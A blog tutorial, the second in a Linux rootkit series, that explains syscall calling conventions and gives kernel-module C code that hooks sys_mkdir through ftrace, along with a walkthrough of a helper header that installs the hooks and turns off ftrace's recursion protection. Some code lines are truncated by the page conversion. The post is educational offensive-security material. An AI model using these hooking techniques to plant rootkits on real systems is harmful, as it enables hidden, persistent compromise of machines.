TheXcellerator

Cryptography Linux Other Reverse Engineering

Linux Rootkits Part 2: Ftrace and Function Hooking

2020-08-26 :: TheXcellerator

#linux #rootkit #ftrace

Okay, so you've built your first kernel module, but now you want to make it do something cool - something like altering the behaviour of the running kernel. The way we do this is by function hooking, but the question is - how do we know which functions to hook?

Luckily for us, there is already a great list of potential targets: *syscalls*! Syscalls (or *system calls*) are kernel functions that can be called from userspace, and are required for almost anything remotely interesting. A few common ones that you've probably heard of are:

- open
- read
- write
- close
- execve
- fork
- kill
- mkdir

You can see a complete list of x86_64 syscalls here. Adding our own functionality into any of these functions could be very interesting. We could intercept `read` calls to certain files and return something different, or add custom environment variables with `execve`. We could even use some disused signals in `kill` to send commands to our rootkit to take certain actions.

But first, it will be helpful to have a better idea about how we make a syscall from userspace - after all, it's this process that we're hoping to intercept!

Syscalls in Linux from Userspace

If you took a look at the syscall table above, then you'd have seen that every syscall has an associated number assigned to it (these numbers are actually fairly fluid and will vary between different architectures and kernel versions, but fortunately we're provided with a bunch of macros to get us out of trouble).

If we want to to make a syscall, then we have to store the syscall number we want into the `rax` register and then call the kernel with the software interrupt `syscall`. Any arguments that the syscall needs have to be loaded into certain registers before we use the interrupt and the return value is almost always placed into `rax`.

This is best illustrated by an example - let's take syscall 0, `sys_read` (all syscalls are prefaced by `sys_`). If we look up this syscall with `man 2 read`, we see that it is defined as:

```
ssize_t read(int fd, void *buf, size_t count);
```

`fd` is the file descriptor (returned from calling `open()`), `buf` is a buffer to store the read data into and `count` is the number of bytes to read. The return value is number of bytes successfully read, and is `-1` on error.

We see that we have 3 arguments that need to be passed to the `sys_read` syscall, but how do we know which registers to put them in? The Linux Syscall Reference gives us the following answer:

Name	rax	rdi	rsi	rdx
`sys_read`	`0x00`	`unsigned int fd`	`char __user *buf`	`size_t count`

So, `rdi` gets the file descriptor, `rsi` gets a pointer to the buffer, and `rdx` gets the number of bytes to be read. As long as we've already stored `0x00` in `rax`, then we can go ahead and call the kernel and our syscall will be made for us! An example bit of NASM might look like:

```
mov rax, 0x0
mov rdi, 5
mov rsi, buf
mov rdx, 10
syscall
```

This would read 10 bytes from file descriptor 5 (randomly chosen) and store the contents in the memory location pointed to by `buf`. Pretty simple, right?

How the kernel handles syscalls

That's all well and good for userspace, but what about the kernel? Our rootkits are going to run in the context of the kernel, so we ought to have some understanding of how the kernel handles syscalls.

Unfortunately, this is where things start to differ a bit. In 64-bit kernel versions 4.17.0 and above, the manner in which syscalls are handled by the kernel changed. First, we'll look at the old way because it still applies to distros like Ubuntu 16.04 and the newer version is a lot easier to understand once the old way makes sense.

> I only recently had to implement the special case for kernel versions below 4.17.0. I was doing a CTF and found that sudo had been configured so that I could run `insmod` as root without a password. Unfortunately the box was running Ubuntu 16.04 and my rootkits were configured to hook syscalls using the newer calling convention!

If we take a look at the source code for `sys_read` in the kernel, we see the following:

```
asmlinkage long sys_read(unsigned int fd, char __user *buf, size_t cou
```

Back in 2016, arguments were passed to the syscall exactly how it appears to be. If we were writing a hook for `sys_read`, we'd just have to imitate this function declaration ourselves and (once we'd put the hook in place), we'd be able to play with these arguments however we like.

With (64-bit) kernel version 4.17.0, this changed. The arguments that are first stored in registers by the user are copied into a special struct called `pt_regs`, and then this is the only thing passed to the syscall. The syscall is then responsible for pulling the arguments it needs out of this struct. According to ptrace.h, it has the following form:

```
struct pt_regs {
    unsigned long bx;
    unsigned long cx;
    unsigned long dx;
    unsigned long si;
    unsigned long di;
```

```
    /* redacted for clarity */
};
```

This means that, in the case of `sys_read`, we'd have to do something like this:

```
asmlinkage long sys_read(const struct pt_regs *regs)
{
    int fd = regs->di;
    char __user *buf = regs->si;
    size_t count = regs->d;
    /* rest of function */
}
```

Ofcourse, the real `sys_read` doesn't need to do this as the kernel does the work for us. But *we* will need to handle arguments this way when we write a hook function.

Our First Syscall Hook

With all that out of the way, let's get on with writing a function hook! We're going to take into consideration the two methods above to create a very simple hook for `sys_mkdir` that prints out the name of the directory being created to the kernel buffer. Afterwards we'll worry about actually getting this hook used instead of the real `sys_mkdir`.

First, we'll need to check what kernel version we're compiling on - `linux/version.h` will help us with that. Then we'll use a bunch of preprocessor macros to simplify things for us.

```
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
```

```c
#include <linux/version.h>
#include <linux/namei.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");

#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,
#define PTREGS_SYSCALL_STUBS 1
#endif

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);

asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
    char __user *pathname = (char *)regs->di;
    char dir_name[NAME_MAX] = {0};

    long error = strncpy_from_user(dir_name, pathname, NAME_MAX);

    if (error > 0)
        printk(KERN_INFO "rootkit: trying to create directory with nam

    orig_mkdir(regs);
    return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umod

asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
    char dir_name[NAME_MAX] = {0};

    long error = strncpy_from_user(dir_name, pathname, NAME_MAX);

    if (error > 0)
        printk(KERN_INFO "rootkit: trying to create directory with nam

    orig_mkdir(pathname, mode);
    return 0;
}
```

some of this gets cut off by the pdf but you can check the original or archive

```
#endif

/* init and exit functions where the hooking will happen later */
```

Okay, a lot take in here. The first thing to notice is that we have 2 almost identical functions, separated by an if/else preprocessor condition. After checking the kernel version and architecture, `PTREGS_SYSCALL_STUBS` may or may not be defined. If it is, then we define both the `orig_mkdir` function pointer and the `hook_mkdir` function declaration to use the `pt_regs` struct. Otherwise, we give the full declaration using the actual names of the arguments. Notice in the first version of the hook (where we use `pt_regs`), we also have to include the line

```
char __user *pathname = (char *)regs->di;
```

in order to pull the pathname argument out of the `regs` struct.

The other important thing to notice is the use of the `strncpy_from_user()` function. The presence of the `__user` identifier for the `pathname` argument means that it points to a location in *userspace* which isn't necessarily mapped into our address space. Trying to dereference `pathname` will result in either a segfault, or garbage data being printed by `printk()`. Neither of these scenarios are very useful.

To overcome this, the kernel provides us with a bunch of functions like `copy_from_user()`, `strncpy_from_user()`, etc, as well as `copy_to_user()` versions for copying data back into userspace. In the snippet above, we are copying a string *from* `pathname`, *to* `dir_name`, and we will read up to `NAME_MAX` (which is usually 255 - the maximum length of a filename in Linux), or until we hit a null-byte (this is the advantage of using `strncpy_from_user()` over the plain old `copy_from_user()` - it is null-byte aware!).

Once we've got the name of the new folder to-be stored in the `dir_name` buffer, we can go ahead and use `printk()` with the usual

`%s` format string to print it out to the kernel buffer.

Finally, the most important part is that we actually call `orig_mkdir()` with the corresponding arguments. This ensures that the original functionality of `sys_mkdir` (i.e. actually creating a new folder) is still preserved. You may be wondering, how is `orig_mkdir` anything to do with the real `sys_mkdir` - all we've done is define it via a function pointer prototype! Connecting `orig_mkdir` to the real `sys_mkdir` is all a part of the function hooking process that we're about to come to. Notice that, in both cases, `orig_mkdir` is defined globally. This allows the hooking/unhooking code in `rootkit_init` and `rootkit_exit` to make use of it.

The only thing left is to actually get this function hooked into the kernel in place of the real `sys_mkdir`!

Function Hooking with Ftrace

We're going to be using Ftrace to create a function hook within the kernel, but you don't *really* need to understand exactly what's going on. In practice, we create an `ftrace_hook` array, and then call `fh_install_hooks()` in `rootkit_init()` and `fh_uninstall_hooks()` in `rootkit_exit()`. For most practical purposes, that's *all you need to know*. The real guts of any rootkit is going to be hooks themselves, which will be focus of later blog posts. All the functionality we need has been packed into a header file called `ftrace_helper.h` by yours truly.

For some of you, this won't be satisfying enough, so I'll save a more full explanation of Ftrace for the next section. If you're not fussed, then don't worry about it.

Moving forwards, we need to include `ftrace_helper.h` in our module source, and then write our init and exit functions.

But first we need to specify an array that Ftrace will use to handle the hooking for us.

```
static struct ftrace_hook hook[] = {
    HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
```

The `HOOK` macro requires the name of the syscall or kernel function that we're targetting (`sys_mkdir`), the hook function we've written (`hook_mkdir`) and the address of where we want the original syscall to be saved (`orig_mkdir`). Note that `hook[]` can contain more than just a single function hook for more complicated rootkits!

Once this array is setup, we use `fh_install_hooks()` to install the function hooks and `fh_remove_hooks()` to remove them. All we have to do is put them in the init and exit functions respectively and do a little error checking:

```
static int __init rootkit_init(void)
{
    int err;
    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if(err)
        return err;

    printk(KERN_INFO "rootkit: loaded\n");
    return 0;
}

static void __exit rootkit_exit(void)
{
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
    printk(KERN_INFO "rootkit: unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
```

You can download all 3 needed files here - it's time to build! After running `make`, you should be looking at `rootkit.ko` sitting in your directory. Load it into the kernel with `# insmod rootkit.ko` and create a new folder with `mkdir`. If you check the output of `dmesg`, you should see something like:

```
$ sudo dmesg -C
$ sudo insmod rootkit.ko
$ mkdir lol
$ dmesg
[ 3271.730008] rootkit: loaded
[ 3276.335671] rootkit: trying to create directory with name: lol
```

We've succesfully hooked the `sys_mkdir` syscall! Ftrace took care of making sure `orig_mkdir` pointed to the original `sys_mkdir` so that we can just call it from within our hook without worrying about the underlying details!

For future rookits, all we need to do is write a new hook for whatever function we're targetting, and update the `hooks[]` array with the details.

> It's worth pointing out that we can only hook functions that are *exposed* by the kernel. You can see a list of the exposed objects by taking a look at `/proc/kallsyms` (requires root otherwise all the memory addresses are `0x0`). Clearly, all the syscalls need to be exposed so that userspace can get to them, but there are also other functions of interest that aren't syscalls (but still exposed) which we'll come back to later.

BONUS: The Details of `ftrace_helper.h`

So, you wanna better understand what ftrace is doing in our rootkit, right? Roughly speaking, one of the features of ftrace is that it

allows us to attach a callback to part of the kernel. Specifically, we can tell ftrace to step in whenever the `rip` register contains a certain memory address. If we set this address to that of `sys_mkdir` (or any other function) then we can cause another function to be executed instead.

All the information ftrace needs to achieve this has to be packed into a struct called `ftrace_hook`. Because we want to allow for more than a single hook, we use the `hooks[]` array:

```
static struct ftrace_hook hooks[] = {
    HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
```

There's a bit to unpack here. First of all, let's look at the `ftrace_hook` struct in `ftrace_helper.h`:

```
struct ftrace_hook {
    const char *name;
    void *function;
    void *original;

    unsigned long address;
    struct ftrace_ops ops;
};
```

To make filling this struct a bit quicker and simpler, we've got the `HOOK` macro:

```
#define HOOK(_name, _hook, _orig) \
{ \
    .name = SYSCALL_NAME(_name), \
    .function = (_hook), \
```

```
    .original = (_orig), \
}
```

> The `SYSCALL_NAME` macro takes care of the fact that, on 64-bit kernels, syscalls have `__x64_` prepended to their names.

That's the easy part. Now, we need to look at the `fh_install_hooks()` function, which is where the real meat of the work is done. Actually, that's a lie; `fh_install_hooks()` just loops through the `hooks[]` array and calls `fh_install_hook()` on each element. This is where we need to focus our attention.

The first thing that happens is we call `fh_resolve_hook_address()` on the `ftrace_hook` object. This function just uses `kallsyms_lookup_name()` (provided by `<linux/kallsyms.h>`) to find the address in memory of the *real* syscall, i.e. `sys_mkdir` in our case. This is important because we need to save this both so that we can assign it to `orig_mkdir()` and that we can restore everything when the module is unloaded. We save this address into the `.address` field of the `ftrace_hook` struct.

Next comes a slightly weird looking preprocessor statement:

```
#if USE_FENTRY_OFFSET
    *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_S
#else
    *((unsigned long*) hook->original) = hook->address;
#endif
```

To understand this, we need to think about the perils of recursive loops when we try to hook functions. There are two main ways to avoid this; we can either attempt to detect recursion by looking at the function return address, or we can just jump over the ftrace call (the

`+ MCOUNT_INSN_SIZE` above). To switch between methods, we have `USE_FENTRY_OFFSET`. If it is set to 0, we use the first option, otherwise we go with the second.

We are using the first option, which means that we have to disable the protection that ftrace provides. This built-in protection relies on saving return registers in `rip`, but if we want to use `rip`, we can't risk clobbering it. Ultimately we are left having to implement our own protections instead. All this comes down to the `.original` field in the `ftrace_hook` struct being set to the memory address of the syscall named in `.name`.

Next up in `fh_install_hook()` is setting the `.ops` field in the `ftrace_hook` - which is itself a struct with a couple of fields.

```
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
```

As mentioned above, `rip` is probably going to get modified, so we have to alert ftrace to this by setting the `FTRACE_OPS_FL_IP_MODIFY`. In order to set this flag, we also have to set the `FTRACE_OPS_FL_SAVE_REGS` flag which passes the `pt_regs` struct of the original syscall along to our hook. Lastly, we also need to turn *off* ftrace's built-in recursion protection, which is the reason for the `FTRACE_OPS_FL_RECURSION_SAFE` flag (by default this flag is *on*, so or'ing back in effectively turns it off).

> Clearly, if ftrace's protection relies on saving the return address in `rip`, and we've just told ftrace that we're going to be modifying `rip`, then it's protections are no good to us!

The other we do when we set these flags is set the `ops.func` subfield to `fh_trace_thunk` - this is the callback that we mentioned earlier. Looking at this function, we see that all it's really doing is setting the `rip` register to point to `hook->function`. All that remains is ensure that this callback gets executed whenever `rip` contains the address of `sys_mkdir`.

This is exactly what these last 2 functions do!

```
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
    printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", 
    return err;
}

err = register_ftrace_function(&hook->ops);
if(err)
{
    printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\
    return err;
}
```

`ftrace_set_filter_ip()` tells ftrace to only execute our callback when `rip` is the address of `sys_mkdir` (which was already saved in `hook->address` from earlier). Finally, we set the whole thing into motion by calling `register_ftrace_function()`. At this point, the function hook is in place!

As you might imagine, when we unload the module and `rootkit_exit()` is called, `fh_remove_hooks()` does all of this back in reverse.

You can see now why it's not really 100% needed to understand all of this to be able to write a syscall hook. The real challenge is to write the hook function itself - and there are still many problems that can be encountered along the way!

READ OTHER POSTS

← Linux Rootkits Part 3: A Bac… Coming soon! →